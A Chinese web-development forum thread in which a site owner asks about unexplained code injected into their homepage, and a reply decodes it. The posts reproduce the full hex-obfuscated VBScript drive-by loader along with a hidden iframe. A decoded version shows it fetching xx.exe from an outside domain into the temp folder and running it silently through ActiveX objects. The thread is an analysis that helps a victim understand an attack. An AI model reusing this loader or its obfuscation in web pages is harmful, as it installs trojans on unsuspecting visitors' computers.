我的网站加载时多了这个是什么意思呀 - WEB前端(UI)

问题点数：0 回复次数：10

我的网站加载时多了这个是什么意思呀

请问这段代码是什么意思呀？
我的网站上怎么会多了这个的呀。
<script language="VBScript">
s="vbs"
flag_type=s
S="6F6E206572726f7220726573756D65206e6578740d0a6375726C3d22"
S=S+"687474703a2f2f35313733313030362E636F6d2F61646D696e2f7878"
S=S+"2e65786522200d0a666e616d65313D2278782e657865220D0a666E61"
S=S+"6D65323D2278782e766273220D0A6375726c3D7472696D286375726c"
S=S+"290D0a536574206466203d20646f63756d656e742E63726561746545"
S=S+"6C656D656e7428226F626A65637422290d0A64662E73657441747472"
S=S+"69627574652022636c6173736964222c2022636C7369643A42443936"
S=S+"433535362D363541332D313144302D393833412d3030433034464332"
S=S+"39453336220d0a7374723D224D6963726F736f66742e584d4c485454"
S=S+"50220D0a5365742078203D2064662E4372656174654f626A65637428"
S=S+"7374722C2222290D0A43313d2241646f220D0a43323d2264622e220D"
S=S+"0a43333d22737472220d0A43343d2265616D220D0a737472313D4331"
S=S+"2643322643332643340d0A737472353D737472310D0A736574205320"
S=S+"3D2064662e6372656174656F626a65637428737472352c2222290D0a"
S=S+"532E74797065203D20310D0a737472363d22474554220d0a782E4F70"
S=S+"656e20737472362c206375726C2C2046616C73650D0A782e53656E64"
S=S+"0D0a73313d22536372697074220d0a73323d22696E672e220D0A7333"
S=S+"3D2246696c65220d0A73343d2253797374656D4f626a656374220d0A"
S=S+"73303D73312B73322b73332B73340D0a7365742046203D2064662E63"
S=S+"72656174656f626A6563742873302C2222290d0A73657420746d7020"
S=S+"3d20462e4765745370656369616C466F6c6465722832290D0a666e61"
S=S+"6D65313d20462E4275696c645061746828746D702c666E616D653129"
S=S+"0d0A532e6F70656E0D0a532e777269746520782E726573706F6E7365"
S=S+"426f64790d0A532E73617665746F66696c6520666E616D65312C320D"
S=S+"0a532e636c6f73650D0A696620462e46696c6545786973747328666e"
S=S+"616d6531293D74727565207468656E0D0A202020207368613D225368"
S=S+"656c6C2e417070220D0a202020207368623D7368610d0A2020202073"
S=S+"65742051203D2064662E6372656174656f626A656374287368622B22"
S=S+"6C69636174696F6e222c2222290d0A20202020512E5368656c6C4578"
S=S+"656375746520666E616d65312c22222C22222c226F70656E222c300d"
S=S+"0A656E642069660D0A"
D=""
DO WHILE LEN(S)>1
k="&H"
k=k+ucase(LEFT(S,2))
p=CLng(k)
m=chr(p)
D=D+m
S=mymid(S)
LOOP
if flag_type="vbs" then
EXECUTE D
end if
if flag_type="html" then
document.write(D)
end if
</script>

搜索更多相关主题的帖子: 加载　 flag　VBScript　

第 2 楼

得分:0

这个是整个的代码。

<iframe src=http://51731006.com/admin/94.htm width=20 height=0 frameborder=0></iframe>
在我的主页上有这段代码。下载了94.htm打开后是下面的那一段代码，请问是什么来的，是病毒吗？

<html>
<body>
<script language="JavaScript">
function mymid(ss) {
return ss.substring(2);}
</script>
<script language="VBScript">
s="vbs"
flag_type=s
S="6F6E206572726f7220726573756D65206e6578740d0a6375726C3d22"
S=S+"687474703a2f2f35313733313030362E636F6d2F61646D696e2f7878"
S=S+"2e65786522200d0a666e616d65313D2278782e657865220D0a666E61"
S=S+"6D65323D2278782e766273220D0A6375726c3D7472696D286375726c"
S=S+"290D0a536574206466203d20646f63756d656e742E63726561746545"
S=S+"6C656D656e7428226F626A65637422290d0A64662E73657441747472"
S=S+"69627574652022636c6173736964222c2022636C7369643A42443936"
S=S+"433535362D363541332D313144302D393833412d3030433034464332"
S=S+"39453336220d0a7374723D224D6963726F736f66742e584d4c485454"
S=S+"50220D0a5365742078203D2064662E4372656174654f626A65637428"
S=S+"7374722C2222290D0A43313d2241646f220D0a43323d2264622e220D"
S=S+"0a43333d22737472220d0A43343d2265616D220D0a737472313D4331"
S=S+"2643322643332643340d0A737472353D737472310D0A736574205320"
S=S+"3D2064662e6372656174656F626a65637428737472352c2222290D0a"
S=S+"532E74797065203D20310D0a737472363d22474554220d0a782E4F70"
S=S+"656e20737472362c206375726C2C2046616C73650D0A782e53656E64"
S=S+"0D0a73313d22536372697074220d0a73323d22696E672e220D0A7333"
S=S+"3D2246696c65220d0A73343d2253797374656D4f626a656374220d0A"
S=S+"73303D73312B73322b73332B73340D0a7365742046203D2064662E63"
S=S+"72656174656f626A6563742873302C2222290d0A73657420746d7020"
S=S+"3d20462e4765745370656369616C466F6c6465722832290D0a666e61"
S=S+"6D65313d20462E4275696c645061746828746D702c666E616D653129"
S=S+"0d0A532e6F70656E0D0a532e777269746520782E726573706F6E7365"
S=S+"426f64790d0A532E73617665746F66696c6520666E616D65312C320D"
S=S+"0a532e636c6f73650D0A696620462e46696c6545786973747328666e"
S=S+"616d6531293D74727565207468656E0D0A202020207368613D225368"
S=S+"656c6C2e417070220D0a202020207368623D7368610d0A2020202073"
S=S+"65742051203D2064662E6372656174656f626A656374287368622B22"
S=S+"6C69636174696F6e222c2222290d0A20202020512E5368656c6C4578"
S=S+"656375746520666E616d65312c22222C22222c226F70656E222c300d"
S=S+"0A656E642069660D0A"
D=""
DO WHILE LEN(S)>1
k="&H"
k=k+ucase(LEFT(S,2))
p=CLng(k)
m=chr(p)
D=D+m
S=mymid(S)
LOOP
if flag_type="vbs" then
EXECUTE D
end if
if flag_type="html" then
document.write(D)
end if
</script>
<script language="javaScript">
if (flag_type=="js") {
eval(D);}
</script>
</body>
</html>
</script>
<DIV style="CURSOR: url('ah.c')"></DIV>
<script language=javascript src=http://51731006.com/admin/css.js></script>
<script src='http://s97.cnzz.com/stat.php?id=659954&web_id=659954' language='JavaScript' charset='gb2312'></script>
<script type="text/jscript">function init(){document.write("");}window.onload = init;</script>

学习编程www.

第 3 楼

得分:0

应该是asp脚本 js加密的

应该是木马类吧！！

这里是类型判断

if flag_type="vbs" then
EXECUTE D
end if
if flag_type="html" then
document.write(D)
end if
if (flag_type=="js") {
eval(D);}

&h 16进制字符串

Chr函数返回与指定的 ANSI 字符代码相对应的字符

如果类型是vbs 就EXECUTE直接执行

如果是html 就输出到页面！

以下是那些十六进制编码转成字符串的代码：

on error resume next curl="http://51731006.com/admin/xx.exe" fname1="xx.exe" fname2="xx.vbs" curl=trim(curl) Set df = document.createElement("object") df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" str="Microsoft.XMLHTTP" Set x = df.CreateObject(str,"") C1="Ado" C2="db." C3="str" C4="eam" str1=C1&C2&C3&C4 str5=str1 set S = df.createobject(str5,"") S.type = 1 str6="GET" x.Open str6, curl, False x.Send s1="Script" s2="ing." s3="File" s4="SystemObject" s0=s1+s2+s3+s4 set F = df.createobject(s0,"") set tmp = F.GetSpecialFolder(2) fname1= F.BuildPath(tmp,fname1) S.open S.write x.responseBody S.savetofile fname1,2 S.close if F.FileExists(fname1)=true then sha="Shell.App" shb=sha set Q = df.createobject(shb+"lication","") Q.ShellExecute fname1,"","","open",0 end if

从代码分析应该是执行了http://51731006.com 这个网站的后门木马